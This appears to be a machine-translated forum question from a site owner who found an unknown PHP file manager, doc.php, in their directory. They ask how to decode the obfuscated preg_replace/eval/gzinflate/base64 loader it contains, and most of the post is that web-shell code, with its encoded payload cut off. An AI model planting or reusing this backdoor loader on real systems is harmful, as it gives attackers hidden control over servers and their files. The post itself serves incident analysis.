我最近在我的一个目录中找到了以下代码,在一个名为的文件中doc.php.该文件功能或链接到文件管理器.它做得很好.基本上,它列出了当前目录中的所有文件,并允许您更改目录.
它可以访问我的所有文件(添加,重命名,信息,删除...).我不记得安装了它.我删除了它,删除了一些简单调用的可疑和大文件core并重置了我的所有密码.
谷歌搜索一些代码片段会导致很多结果,其中大部分都没有很多信息... 但是,这里有一个更具信息性的结果.
但是,我不确定我是否理解这件事是如何运作的.我有几个问题:
如何追溯preg_replace的结果?
<?php
$auth_pass = "";
$color = "#df5";
$default_action = "FilesMan";
$default_charset = "Windows-1251";
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/O7ddnZ++7H+Ctu/tq/+jMvqywCvv6P39j8FOaR264O3KnccTazAlD57ZsvQqCke9aVWad+vNwhg/vTo9eBDE+eU7XCftj79oN8fU3Zzpwb/DpxJn0fPhY2eKoh0HoOv1xWS/CiVjJwccKh8EfD2iO4nAWRMtorsqMbK3dZkPHj9ykFvJn7DoDNyxT7o1Grc6e1J+woyBmB8F8OrAlZfLHvfFi7dPd//wN/t+J3Cjygmk3ip0wLmOeHTcMg7AburMgjL3pqFynr97U60ZuXLZ5sh+M7OrRh7dvzUT43CWAyK6m8k2cm6574/bnMZYXexNXgkAyvXd9b+LF5eTjxBl5/e4f8yB2o244nyKQSB64Q2/qlm1ov9PD4yO7yuxmbZMqjU08SucezfplwQmPhvNpH4lgn06PoS+8WeQ70diFHiGW4ECPQjeeh1PmRV3OKDLxOWccQD8r2ykMNnYcB2uxPNRA3iNo9kel7vvj0zNgwgwJlIBwAKYIXUTB22DkTcuctoHnlq3tPjCIG3a2gfUmbOLG42DQBr6KO++dKFoE4aDFtr3pbB6z+HbmtmfiK5s6E/7W0ZOjeQ8an107/txt252O3dneQMzwRxRkCaqwfde8CDuVIQ+fYgecTwZP0xz9GmoC4++SVWAAPMJsfLBCG83jcRdJgB7597+xtctMYcQGOLcx1Yas7IcfWJlx7HpKhcHIMBDBf4hpNZLaLA7nLnaHC4ML8yVtDF95LaFn4sAPFjDKGLQPvJbfv37fPT6t1qubWCCQYC28qUUllwKcVWx4twGDQCs+Tr0b/FiKnKHbnQQDFz7S0Bjh0FBfiX9LAy9yYHLpyu6PDOBMKs80DmAA9RcDhAU4eCrLwZBq2T41K1K80x8PvLCsJRCqfCxUE1E/zoZ6mdA2OGX4Th9Y8+ICp8gN+KVAiPNLy2EFmGAxfD0HUN+dlilpvXEJ0yGzN2ze3IisRu+ywwwSEcTxPQdmODXZYz9bb70oZi+90O3HQXhrsXaHWdAMVpVPjo+sA286YB7O9LXZeAZPrD8PQxgEDMEkPNuI2MaCbfQS0BSKH/vBdOiNflwNiw6dIDodBwvmQEdfuwwApi7vc55/6sYwb8ds3ZmmcsBkOYW5m8FidO313QSe0USfQH8ACMDfhyUj1qBwFUuh7AcTmCzcUIO69twFQkGj7p68Z2fIlzzVCWdAlUg7fM/2qG7z0EHqOYg34xVmG47vWwBY0UZNtuOADtF1qvn8iK37Y1mKj2lDz3eZE8OM2gNaIwZzp8PeetP5DTQFlDeAZTB2ob8GHDS6jWJ3ItFhRrZ+7fCaA84IKx7M3CnA43KYbXf2bzYCXmbrHkMC3KmgBhmAAytkQ+QJqCtMJR4vXqCjhA22jvMwG7L1mQsT+nr9Sb1ehwpGJoIkcy5LEUxtRVxEzGglYpr5xIy+hZh8XJwbat60T+NlCUm4gKXA81D9eC+OC0tAXlhLEKxUteX4sKEXoRfjAAFR0Qe5DcTDaW7D80Zq5vdWMZKlVC7FKeaI2mwxuLfFNNgUJ6SRrN5qhTiRuNo4JsHlftIUpIkkhWB1sgrwEVE9ENa6YxjvsIDcT5gOnSIui+gBBBbjJSKHsH6PJ47nh/37adSAUyRm0DyAwhRWnMGDvhO7qZnRp49sHMezQQ2HkE5vJlHO9/z79RhE3qgol5ZqZpuFwXBJaXpyKmN024M5pyhfkmpmm9wWZREpJrgzmHhTcx7MJJk5+sNRet40U1LgUGQRvEjKZoD5duDEBVl4Ym6m4nK8UWFJMLMXZ4LEokyEMD9Lca3coTP34+WEakB5SORqkZPVBNcZIelWmz7bKdDUnKxg4XsaNPrDzwWF72nQvDlVwcvEdKaiOU9l1AHSmSe3QMbS3AZEOnvBVKYya+mprD2nfzXP61SeYAIP5pM8UPycnj2869xZw7uWkqy5e3/NdTV83wQ7Fam1EhuvsRPCFg22X2IHm/oMYnDp1dvjF7tvT89twYZdlYo7q5Ef9Bwf9kywXQ1pV9sfB8zaHscTv7ONmqLO9sSNHZpG190/5t512wahHATWeP0M5mwbWRXf2nYMIvIGZtxiooy2BVN7lqoas+zOduzFvtvhEDl7bYRaRzUHQxChrmE1a3uDZ/yfv21H8S099ILB7Vfsl1GIGqx1qkzr70+ePNkSj24D/9u647DVeFCNx19BFprGLfbzLGZv531v4FQ/uuHAmTpbEyeEDX2rvnXthrHXd/x12FeMpq04mKUwojqMBCuYJobBVyZSh8PhVpagZrNJGaKZM62OG1VHwov2Z2veBHcLzjRWcJzK9YXrjcZAbI/EN0odN77Cawiv6747jFtPZ7BXCXwQrEVvzpzBAPZyLdaEFEjd4vVtPIEKy5rmEynrD3mwpIF3XRO9/JUprIiRA6ryc9Btbm4SDqgr8sf6AHZTfDfXmgZTl6e1xgG0dBYC8Lih7wmw2sRXVW41VG2pnyVVCVHQe4h06AeLFnPmccBx9LyRE7pAzcIbxONWo17/x9aYN27zqawwqbeqSA3CViPXh+3zV6YQL+3lp0+fbmWIFF2isdy7YBpAB/fdKoyneejBdvrIXdhUPurPkuIEUX+Pg8CPznq+aCfOklzHxutGAIfTmawc26xDZt50DghfwPNaTuy0PPJd/G8ryRSK3ikCRUjomNzxB2mz0P1KLDx0Jp5/2xKVrar6Y1HbG3Isb0f90JvFHa5CuHZC1u+iIgwnAZxbopnb9xyfJpNyMrn1Yd25rNDMspVkdYqz7shpyaF8lq0VyCeqFfIm8y9i0AqeNVTuclmo7VWuWcO+rFoXU6uy1m6Tjr7y3LZbwMFSmZutqJa1UsmU1lxWWvPBpRl5c4rbXFbc5ncUt6kXl6jbUQvpVPvVWaM6a1Znm1XR7kLhDsuigwq+6dz3K4OgP5/AmKhNhjWnxrXSzhaqh1huUndLoOjnougLuH4WhUpSKGaNXByzhoCcNbJYtMQETzMfT1OCNnPwJIkJns18PJsSdDMHT5KYNA1v7vwG4mmyLfhbTmPlgXXlqYbq6dGyfi5kA6JTL42fSZQrGfzOt+MnzndCZ0J6eed356aNJwHEqY9gwi577fqWt62TAcsGPkY1352O4vGW9/gxyWmPBJ7HgOgH+3FelnPvsoZb4cd2237sTvvBwP1wcrgXgHwwhfRyUR5qX05wFJZpjGpDLxG0TvZ//bB/etYFpGL2qoraZRsNEM1DX6XLQcfKC9i7B4va53dvX4N0eALSoRvFvIah+wc009RdMDOV9wmdnTANxS4pqj8f936HhTaNwUgs2++8fhhEsM2mgkFgNE4sESlkzRx6wrdaMIXVfHCLKlgQc53pCE9TYMfed6MI6NujT1s5+WbutGzjHAWtRE2BPV/JgQRuERXlgjsrm8JyFThnNvNBpMSW3bhZXywW67jar8/xvAK7OXsAyxFPB+Wkg7TDWLOv0rUpJ3MktUuNWuAUWwBPPJ6Isy9Mp2IgYU5nIc16XWTlrB+6I9EdJ+5o/2ZWvrDKF/AzeFwpn+PDKf6KLn+s4LmMPbF5R/PMThi2AUENj3EFFREwcuSegTgiAV3g3TJAnjcva+LQrF7FrOcNWBU40B0jznF8kMvLtmhqRgfHa7bkXBAmpAwhdjAo9He2QYxlJGa0bViyPJIwnR7IZ/PY3dLEwfydBMj+IPmRpFvfshF3+vyUH5BOhrKQgRfNfOeWy7mUQzs2HXuDgTvlWZwlaf0labPGssTmssTNZUXyaQ8h+EmuRWdww9B1T1FgwzM+qNsVfiAJLiOHEXwcxI5vZOjSp+6qebS359pzq0GgIUx7TkS4Z+NZd46kl+2Qc0Hpyg2nrp9KjEQiyKGwqbjCeRy3ta2NDfiyqIcT2OVMNiIXLTdQW/N8EExHbZrhNfMLm46F8MSeF2LYWtA2XOKvtZka1mXG87FfOGU2zMyCy2VVqvXqTzAe9bPlAlSyejVAk49oUyACutfk5NB1b7wohgog99/gobA78mC6EeOcLFDE+W1X6Gm7+E3M2SU8QOLJk1t4lp9H2ueR9hlG0AwSrOfEPmLkftUxKTpmC8SXvLuE3sSvEkfhyAQeacCiDljCuY29ztUcskj+HX7Jz5JKLMXMwIvl30cyw504P+5ip5AgQNxRmjnxGN7cm5mPHcSPpfMYfNqmE9My5aBPKDqUUHYoedul6XoD/oKYIBoqKQoYwNp22Dh0h2377zYLpn1YRq7a9ghm4gPUKL1zpjD1XliWkkhKvyPa37fbJQ/+SOHDREqEnJd+v6zx8/BMoRdWxe5YNQEHIoa1sb3h8DmBNwefLpIzV/vD2cH6M1zrPtHqHq03mk8b+P7L8eGz9RP19AGf+rNnP/0kBmYwU+qppHGVhZRKQfsoL3YnfLQZmfBcfxu+4FrIZU3LrhFwDYQhu5ZVnbXblPzc5rt8WH9btl2p2R2Vb3uDI+zwvp4kFT11+zV2OB0GdruDL/RYtak78JPsFxv3+FNYaVz8Kh+r9ukfPuWEP1X7/XiGL/gHUpyhy8iyA9Ph5R0+w/c4xON52ulTEr2f0WvVfhHCUgbt1ads2lvVPnLjRRBe4Xf5qCYIoVRU/KqMY5RicXJuvw1GwZzrFOUzb45zqLk/BAFhEly7PB0/nPB3DuNO59n+nFBHXqEitHQtykFA6kMYT7QkY/+VvWlcKcPavCEGz6QCHfQPq3PO5JCw/m6pIWHBkLCh965r9oVdxR1L9QKf1K+KhZ17hT3rdNjl9kY8Fn07CEHSRNbjowiFyaRZArQrMi1ZVGVYSNKW3Yem/hMSsWaEjC8JiMiLumQ0Q59rdusCCBEjUhRLFS+qkBrjWAcgX6LZoPqcs+QT1gjqZcsRSipdaFE6/+3DViBqo7KS9V3fF3qz9ia94cqMb3XR9igOdbbjEP4N5KfONqolOx9wrmxt98IOWoLQA3Au/X09GNDfvcWghSMuvwGf2wjzkmreEmMOJDfEDR0ygB7CtkG6QYCbBgBrS7FQW9MrVQZCYqNZh9ws4QaxrIN0XRuRmaa2sj//o23XksVUR1bBSSJ2whGqrrs935leQdNyQ0/eqKoEaG6xNmt5eJbOuRAnKMv2BhG/TRXA9QcILWNv4VIFzxXGG/QVrkQt0QKYPkpAaZVCWI4FSb52Q7S/LGO9OQI1ZWhItMZPbMUuoelRI8eVzyCYDzrHRyjqTeMOdISe9vd6vder14H6zvHBwfZGryPhqFzRGH83ORX4IDXukN0EmwLpxHyiOYnQl7AbQRNNjfABfCrbv61P1gfsdctrRcQeVPtFFHz03MWp9ycIkYlYmDTEAcilGioDXgmxCF6WU0vyeUPD+COwP84zotWTdRGyEtr3bjiJ9rChMtJsceukx7HKKC3e7MuaMVvJKeucIQRvOEERnzdw3JgDRo5VRpredojqbTGItvkyhzTRBhGJoq7K+xWPvUioFKwOLqtcXPKdnuu3rfcObKDFOkozqr4Si2WTMgDT8FKJbsGtbggszA7fy54SrK1UFBb/2919+fLEuuSdz7Pu+R6aEKSz6sqNd8dn+5QTG1OOQGwk+EVPOBdqLUZTI9+2WeJMBfd7zeSQAc8xrIdMmThBwGpGnZMUqW1CLaHff2rR4nOXPvo7CIJYHf2VYPVQNjxtpr1lWO+5pY/gEXD2FHjnE4C7lPtSDGGrZaWngXMyA1flKEihceBng7gthFrg9jCzpHiDtjylWLGtmNwtFze7SOkFcRxM0om4r36E7Y1dSWsFbctBxCIdIMrHCSv3pX5M2GjTpg1QCL7iKiFYpHXGErtkXklbHrHYfNuMxyli0ywtoFc8qMAT0NWsqKFOBXW7gLHL5xMhACY1HebW9MISVT1xHX6I/w01HT6McM7+xR2UVIIEZaqCPbmCXrB5VQbLq/LOufrWPhusVhN97H1fd2DFsNXtpZX5z/ZLXm1W6iO1bblvPKna7JPXhvs9o+nbR4lQzKGyI7bZ/tHe2W/v99v2ZO7H3swJY8q4DnKGY/OcRco5WRzn0d3pcnBjHkgNexr1yzLPGjL3fOYHzgCLvKc4cTSjFVrmZvvZM8rnmU8odXNrDCqDC/ZU8sOYkEyi/xomlOskLTEgcJLmlqxKaBm64xb7IBZn1FqWqU6yuAeI9JlKzGAybhCXVWabee1KWx5eousPS9TrpsaqNMNUg/nZHRkQ3EMh6bC+kULKez+FXE1WSKEuaezflEveVAgasLFXW3VvWM4oD1GHr3SGO6TRh8xVzCd0cBzDzu+BNy3jSXCSdoc6wDykqGyIx+FcIQ56mmcZlCMBiFC9GAAkfaXvOtPy8kK4zX5hETz5uwoYg5DTNRpIIElSFH6JBUZC6EbBPESd+JBrOvG8CRvVCq1KCpNQ7y3GMOTKaztDNxhCNqlIQJhamw3xlAc+Vxv15hNem1nfDyIsQZ3vCabAPFmvsWTHFCnbs1LEOm3WqP9z859PGs8AsebtFs1C2EkNy/Y/GrXmEJXjEdvQYFkFddWvXthSu63he/Ls6T9/WgUZAbIKqb3f5aJajSgkh5D8kiDRsgEUJr7Ilcppz8eHlVAQwQv7gdVv9up4ZNZuy8eSh+Mo0shMYHcT2N0E1s+FfZbAPktg13Nhf0pgf0pge7mwTxLYJwnsIBe2mcA2E9h+LmwjgW0ksDMFy/iHOde4ecivKm8dt9zsObNDm7WwkpU8oPozDrRYCvSEgJIPzwTqiHLdoOallZN8KpHmY22uQl9jFfrqz0z6niyn78lq9NWfrEBfvbkKfQ2TvqYgIM6nTyafGfTJIeVlpxhdezJMhtPaDs2IzoBvbsXUJvCYyqmDA6Cy3kl0MeUdlERmfIgOK6RR5OoqnVGphGT7vKQEmGVj90H4C2mt11+8WJ1W7sqYFSCivjNF14lKyiFZfC+X4JdcLwZjhssXrCUqJVk6WJkfWOLRJRQPX8jxos2w5Tn8WCw95Mr3iGCiczIpluCE7k6fOQlILDCp7v409lDpLyZOeWLGpQ97gYmo6ZylDyXonEzvIPqisRYXasziHPojDmSEBkUzpt5KlOLjhtRERbBXAZ64ZajICCdkoAGCZ4OrbLjcK4xgO6Z5GmCGot6jcUa5NK3iYYbogmtyF/bg83VFGlOpVEkCidhQ9WnNbjEhcfOTOASX0uF1lZFVHUys4rC5IswmEAuedZAWjOeTnKjKmIVSTTPxGx1+NrK9AV9FDmFHwptJVcaWTRMM44UTovkKHvO602tI4tq50+ODs0+7J/tiuBu5X3I5dsDev37PDpQwq5+M5oi6z5emtmy0prCzhR0Dn7MeGgSQ5kDze8YR0MUUTMghU+nNGcpnmexKb07iW/deJN60788H7hI8AqIIVf/DyVsWzWdoCQ4YMlImsKnfFep/u/LchqGIrWxj04ipHOTYWZufUVaK5HjuN8FFW9SndpHvxYkUIaCxbr27Pf3DZ2WrlgtfrtSsilVYRIRZhPdxDurT01/fFmaejYpzvoc9/Sh0l2UP+l5x/uPQAXneyvYib3VgWdQLIM8gu3oTfqqPp9XAvIimos8hYtwJK5Gc4y504me6lcVw7ieHyKM+Hhr69Js/DuDXxLnCY9sZnQbDKoEnxLPbeBzgYXI4793CH9i9wO/Rnx7C9JI/Tfg7JUzkXgIP6PxLSMTWZoCazjCh4cq5xjzBYBPz9gb9IHSRivk1riyIgAAG4cLt4XeYSyb4N7waz9H+HD+Nr8IgiK88YFrbm9HiGtHjcIG0ht5s4YVEzNhz/QFVlXyjgZlCrE40JY6HdoO5GKn3BpEzmGDmPvbACGFuvAFVbNQfu/0r/rhw4v4YE2+jiRPhxz8nPSB8RoQv8JwOnhYwq4vaTL3p745qi2AxRZUHesWqBlkAowMg+QdhIbfTG6JoeoV1wiGILU8w/mK2PvHQBE1gNFjqREgybANQbQgPKZwXNCHH1tMqz61bN2LLbT1IwYiGdhcW5eWPHAMZbJyjiz0dFVnJvLCMsmjsQEPkUybSHkoZZOUPPP+qdB2fMjm7ATUoUfBZh6+9MLQ30MhxQ82AOShg5YlDUkgVocBqeVE0d2tTN5Y4UOzIPTBNrdjJQpuZaZVFACurkW6Yq1ApiThE3ytfxdzETVG2SKQya/SB40rPRtpkdA8xYsT/FbS8JFTfQYo24P4SehJ8S4lSvbfRsVMmtga+1y9fMrJRBBRCPh0M2fpYsolZ+mt0FF7GZuRJLPPepUzh0pz/UXK+KBi4PJfDd3nkDXbqxhhrKVIZMLyGDMuRm5MCd+xKCD0b8qvIopmNkCLWFkulPJPMaEa4xP1+PEtcFZmph0aLeRVUa7VoOzWRSQu6k9bakdGw4R2zpdZ6XOmVnTx0zD63k39xezgoo5HC8TyezWHw1+gEsibMddu2vbVSLg+Ei/D12bu3bduqwaapX+jgYqoQK+gecxFexBcX9kXdqqC3C0j2vDrY5jJ2DfEuF/uF2MFheDwu6qPUpibb6uTBQ2pm/QtJJVzek/2R7IdQWse0os2PcLuszdhXYR4Nm/CtO+nCZed1k7D6kLahMXVORrMqR6NIh+3JSMX7sdfKeBbwb6d1sXj8b/LiZPEA/o2rbNyAf02oSO3Hu7VJ5H2AVRnH/mRmlJfCx3Ozr+XajxWVreZWWQ32WrUx/qP0UuNORya7KME0bkDGcVMA1cSQUavEXZ7nrhgNP/ywZn7nDl6kj37gCJH7YL0r92XYNNyCraO5U2Gn0pkZP4QaGkbt6hDQgkrQqR8WWSPxyx1UvjqmxQ8/F4SS5NEg6bm/jpZCcROXrTtjS291tqUHpjjrwu0VJ1t4caK9AWDdgwTY1Jbz2vL5cl86aXcmSyo+vtqHP6blBtkqPJ3dWEL9Q81uhE6jRuoFN+IkEdpNIGugbdaDevi5LVpcmqcydAmBORvNQXff7H6WJ6G41efNwmcqSTMUmNc8KS8FjtysH9q9JLqDlH7G4Nvcg5WCKZqa676pMr0WocbiQSuSNCy4TwmEcGziTB2QbIonPu5WMmt00csOPeTalrWl3E1WaJpo4cUo2uhJQrbso+5CP/dtKZFobQdNabs8zR10UdIAHAeHb/dBTh3al+c2zDxdbr0OS4WRwr+KAyLR7NYebINgwU+Oetcs4YXTg0FwtaVRxE0xDGKu9OBv3Ec0B3sfMMUuuQyhyrII/8D13VjVVnUf//wSCyIVoPRFUprDsnR6wPfqeqPSbtsbNqqg6UuLfiuj9kdZhaiywMcfoRRlXOpM6UGZ5uKREPJIgvKSuHgq0+gAuIwaBLIs5bIshf2r1SyMXViQaEmHLPxBxvOmQvChEilKTpt6DB9FVqNUAdPmsekSZFqDmpkSZSH87MynuMlNwdyJv3SGKFtFJoaTTHPeKW5RUTCVk+9QYxdlCp6k0Y5gqLcynonCfhvDAgzUAeajBD+VPqzk1nR4XzWH6Tpm+BM21bE+GJNJ24YpRshS/WB2aydEKy7G713CUC71q6WoWoIVM4f8fq0UVZKUR2KIDfCzqsGjEvL9jmLgvpkqWFgcIiv+HVd07lXQ4uhyiE69xHYYEEy91+QJwyPFilpFoFwcWNXSECabgXjTKFH8IrY6vKJ81uI11XDvIGr+XWBLMN2l+C/hF9UHCcvITDqpCVwfZkaiN8crRyc0t3vJkyGne2la/v+7d1je+S/2L9SdT5tG59ZyOreWDO/l/Yuq04Rm9HjHhV/pkr94s10ezNmuZByL9Z8SIBJeskmectqfV/+hGRtyrXe4kzEIKF1h/W79Nhl0X3sR7BDtGil3GVmr75BAZQtZ+cvh+92TvdeHH/dbrb2T/d2z/S27spxK/JEBXPUmXEanEao6r3fuK1DEsE4YJd17lcr9CGQbr3eA+w9y0VQZ7/T70GiMm20JImeVGhFBsFSGThyEyj+6Pw8j6PhD8V3+LRupKpCsSi4NaaCtQr3WHVxk4QSQP5V72+6U+OZr1Spk2xVQ+7iilxFfhXxdb1cl7O5+sHtA7lZi3uxMfn/9uBXUMtiCsu9WmUfm0/+9meS7RidWKJmFvnEwcAywkQ6hRc6Ch3bQQzrpHia5pw/5n/mUK8r05qpkdykibJq2AcrZ3pGGzfikiYX//nc2hUsUeSnEQXkJgrmUxu6RrkSVTMiMKENbWbihCTVMgJYwEPfRTJZgE+S8dHVZJKObrKSX3FclZyRvGdUCbVZE+AzMKY1cUvbNhmWzfdnKk/CQv3Vk2m5OKAH20CMrpt0hQ+2UCJS7Zm/pSgZhSbtF5MnYeVEQkkKWHpIjRHH81KjcrxbAWD2onJzgQWbZXou65fPd9T8vH1e65YvB18ZdZQ1PnvX4UaxEwNLw0yiaJ503LoXEIN6bl1KfIoL8qTAZmiGRU048W9Mhbci6pziqDdSiABQj08htqS2VYrZgpyV5hMoLKlYEVFdAOcE/uHsS9zWy0dnIlvbrGNnMNnyS7LpteCzZzSTGB7dspyCd+nUJ3DF2rArYnN2Y7gpK/aeOSbF5JRH98VXvpkPOx9v4bwXnfu5TaUWk6ulatTL1O3T083qrUalxX/0jSOOOp9+COfL+LMSMBsHfjnkSDLzhbRHud5RqYD9eTN1wg/xiv61EMq4rKhCN8Dy6wyQySt3lpkb8HV0SePQTmD0iafuW2AmIoA7wLjzTk0kmJ7iDEdohWOSFwED0AdZbR4VhF1Q0jDAvGAZmI1fLomz8BESfmWhKN4GrYtJGpUc85hDpHVVRDt67lCfru1slAid0Dcs9GCsVjQrsP0K51Nk2gyLBgNxMCIiAiAzaV85M/cBbIVhIRepz7bm1pLsSNNQvHM0oTNAkz60l3SewKPuEZP90XzPydSGx2hSXz7jhCN2mJ7Oq5IaYorgCeTZ3TUsidInyuKZstfJwmKxaHOLNKS5Hts+URgea5jep6fgGQhJDPJI6EgsQtEcii1e5xOs2n3sT6C4HFuJesoqn88L6RFePEB/KuGbcNyEO+4BAuymm5JznZAdO0q+TKfXygSo/ZsuG+a7RWm8kDayXX8byOF2XbBsqIV9Qg77eYC0QXO7BiY01x+/cgDiqMos3C134I5OwI1Ip5iQq+4YD8jQOhkZydSNkCM+oq4hlcIsQgx34z+Xi6jfkORl5BBaeyVnD80sriRSThIUoDdXRCQZ4SC3ZA4426+EPVFBWYq7LdluMqee2cv3nBlIqPkJhmQDCLmw0lxIBS7IHmQl4y84LLTA85xM5BRSo4IFqjwKFLMPEw4f0OvxY1EkqW1QzM7yC4qJWAlsRAQo4FvwuFovLTAKfcikWEb3zuVOHWxZV4QFNewFiKFAhY8FgS9Fic0ljJKe8/HgsD+tMrrikMk/MaCJ/AfI4mPfHhPsMcRcy4l9aqDvwYipz/y+vj7QSI/QvqUrqsF7EcRDxqnCagKFf54Hh7pIg5iJwTT9AKX/a/id5ma7m5utwN9+VvHxX8/Zfhi3lxPtgH16JX8T2IKS4TeyYobC4PqKzB79VTKsUBOklQBi/dosgxHlt5yX9VVAyRsRylVeilxFdZOJGBUcHg5yGbhSxMrxWisjg2pDOh2k/H1yjR7vqUVeWgBCxI6R2Uwd0H5X8RBBvy4tdtsGg2EypIp8Me/LDtBfNtvTut7ltiW36RicBSqRXu+YMba1m8aBFBEts8bIxAMfuTbOHcawARmEQH7mXjhAUBm4fP0HSAL1X0Zry7i5p2wxiAAZYEy//lkaLn3p4B5qGtphYJ+p7XpZc+oz5v5ZCNN3Td1wgN711qTa482o3EaYGoy1MakMR7ejPY4oyKk2QSuEScqjMZqaW6nMxOb4g5/HjkldBYjQf1Xrzs10NwoGgqqKiKpD4N5/NUPwLlzXTECbWrppUTeLMtIdQaP/DroneWpW6UpQwoXGHnv3CidyfnjBBIUnfPfrUFZ+qOhjXJxpg4hMH+xD6Bqqk7km6jkOpKEX6ATRKEldTbILMRuSAk8FTNnYivifGN/E9GjsNLQFfRUo/vJ3F/Ct/5J/3TvY2m/JzH70t6PPu6d7hIYsD9nr/M09NeIxDQAKmEyCHSAaFAfFyf0+lD9CPQk98cXiUZMbhz1Mhj1E4724zUWXlE4LsqMMjI6cY/UaioogPdpGoIhky2tkwtLYQrai2OxlQ4rM0KH2U9UytxaK26a8GXq7HVAjhldKl3jbXjPmvtWLGUqbyulhTy6uNJLG15Q5/GpRpirWi/TPg/Qb7Zz3X/4P2z5pTJ+/afjAVfiLRUl/Ob7DP/VbzXCEaJIplHkzlAN5RpXkqwlYVGdumgrNxAQPZQ1jS0lcSNNIGuN+Qk2XiZOkCZoLB5sKJ2qbr0386xmeuSGXl7EmvSay1MFCnZQhYCoeKKrdcsNrorGqUa32fUa6VNcrFyDmmFbNNpNgy7Jlpamub9s1Q+3yjXbt136UddFGSMmrWbIPlCYjfUDRYq5sGW2l6vUFbmxU61kqHXStNdvkGwsUTn2EsbOm2wtQL5OmN8T/p9hy8i5CUSa2ieYEiImXDYGnm6wsRmUwbVIhaH07SU74wTpaIoKcfPDWyB1PihOlp/R88UtMjMyar3YDvGEq/lagt9CGBVNlysqFn0fFJ0Ht996GXALscgLgfLW50tf3rSlviB1BxRMFm76VCNrci5ceHFJKPf+lGjedX2zQVLT+lKlZGP6/8oGcYNKOHv27HzNYbFXFZtVBkk3FxWwXnxle615vrTudT74+5W97RNak7I1VKzbhaB933kyRonCrDbukeH7397eXhSSVxg0wur6fytK0yf5cmCGrG52Qpbz5poaCr9IU7X2IaQ5nW2rr/H/mqpVpLt0TWXecEenkBUdb9juesMnNmVNcSKcNgvpis5NUqjhYtXXVFpeChIrq6kr6WR0zPjgEBKQO4Wob9w51u+YAVM7pOuPGlmsa8f10tizlzHnQU7VNWmO7MwHkisrHNQxvLgTYeyomoaCjyTZEx+Jp4GxlKEb0wJ3NvHsfBVI0zzN8Pnf4VRm5OuuQikWjHwxrXeLRtLdyzkW9D3bCuybTj5H4gnIFXIUa7HuIBpOiXShBJbqhdLvF9FKlqwhJBVw+uQlcEhGUy/mVtNHhaC93BNPD+dB/QUOlsGxie+7GeASnm6+dj+4eojZvv7yUUdqG4J3fDh/ZoKuvGvZQoTd4DNHjJjFPoTMuNzoxLP7mdmG6FlXa5MiaVJh0KSCW7nSxHmoVuysDNDMyUI9kl21oLt3x/jp3pwHdDmBif1H/+SczhY75fs+S9SC9ByJS38TAnjmE5wfbcYnIxb1u1xFXGKFUGyWGZ8B/WxMNg2ryILrKBZvEuvWh2MkA5bmpZgvEipxZsFQiNvJdInLbjnntnKIwoddEWI/mpmD4Ap4hJBfKbma5UOzKS36zKklh+sO7KaH4znYA7fWuMTLOTcfoV8WdZ0t9rtHCKdsvt1SXVshd2frXMgpmFB0XWcuLv29KTix7tle/byjOjTjupQaOfGxPOaRAzDmtLd3lthMoTc2UeUHB5jWYKkmFSCiwBUJXk/ht53kUtm59V3UOThhWmImlYIRwVXZhTkFNvZYo9JWRtGT4/u9EsGI3JRQQwlet3EOROKMa5cWKcY2BsYRg5hTYx2DKD++uGQXp2lVGzI9PvV9A6gZ83j/QPyn1bb5o97tJ4710FVaxQn5s75bfRbh+vaVsRk7MMEzecWxHTJBfTtryfQo6f1Oa9mV1s+LAm8wQ7iTyQt3CIi10S6zPsdQzO8dobjX28mQBfZAwPSnBv8OZsfNwfeJS8h4f1+HDiCrNa+wzPu+3UbVlJKctzpO6g0TRTdq6BQepeBDy81o1yrunUmkwJymUzod02tx947Qm/reVamVq0CEFyaUsSZkb1StpxuKkch7mXInVESw9zkgr5tnXvVB7ay1Yopi1RzFijshNEetGSq9ZO/sxveHcLQhNjcF6/sWKWlqRxiTySmMgL1MlaAY2hLnpI3/PH5K3e/BV2PP2rLUuS9KhEAQig+RQxWX6vypshVeF6qAjBmzRwmV2V993YFWWUxmNGUpK4Z6VKxaqwErbecOlWIpsWrYXSWrhNo21KZPIibawePZLWqlL/rueie8k67frW+nrJqyhXbELwuC3MzLUMeEb44yxYlJ9VKcJ1FmHJW28oziC/cqI+rRKkIkyhSNrqo8nELLHiXeM3hHDr79wrbTPO+rId8WQixLsv+zApuGUzXpD0+k95+6d0gwXXqHBNIVYsVwVoGbomLf495kjM0oSKKDkrDjAwYBI+1JjPq+tP0GStOJKF1elYUllVMNxQXNP5yAiYmicj6vKUF1H3LOSNI3bWqeZuVRbF9UqKPTmL11ZK2tykZUlq1PQrqRsKtnAKtBaWxo/6FAgzF9WG5jSD1C0FkJ7aZJOcOtfuwODN3LgRhIRsuEyiqAX470pWXyR5dCVevLAbF/bjlJ46y5DmcQXxpHko8f+JteT+gC4rDIOxkERa4uJEyYkpPWOWI8klQEyr5NYtpve6+KF1HYMU2bKhSjBDIuuKqbKfRE1j3DyDoQsBpG0xMs1QIwT9fFiBIUmfm2rgfVWi2bgcwcpMS9ccyqja9RZjJXQXogvpICvTRq6A+XkFmAYguhdmcymMdL5LYDjNJphwICtNHz9W4xdabYo73s2m5i6n9YqA8R430PoZ2hXAoJB6ui2fQVsilLx+bEv6qquG1+MB0mdOqCXPtAV9zGTQ5OBHHvQ0jGOgp6w3EqGjm/Sj7uFT3zfph9+1ImUaFBrWFy4KJy3Y2IYTx8cxTZJVjepXU2F0krv2DLTNZ/iflqeh5UkDSxo4cFblTV5nZnbjBq78cccNZVcWZEh6CLN7Us1lbjMdpEYKETzbmt6HWqSQgeeWlQSgz6qmrbheCiy9AsSqJFN83hy1ugBReIRYJD9QMG8lPiwPgfW9sgItWqsLnWJFp12SuaBr6ykuG7Tk6Uc9a/csj+aJjn3geP6aGpd6+BeeTttBWJpt82yJJ75wBrSlZjwW+Np/U1ykaj6ouylH0t8ifESy+beqhRLUt3f/N8aIlJfZyovtKFIov27GtIoqjpXFV46WFml0B39PMf567EYx3ip8o0kgPASJJS2Fa3/6Xq+1sWHV9O20iuysC7R5qz1BbUkfcu4cpX3jbKQLxadBGN7WajWm+xiTGjZ3QDVbmusWjJSRftSHlOLJbVI5lpzVctcZKVEl8SE0rxmhUzemQvW1lqxZKZo2pQSEsgwFIPemXly26JaodEsCmpt63aql4i1elC8Gjy8qF1HtR/RmBuGHdSlSWbcrpTrCzG/J6ctgU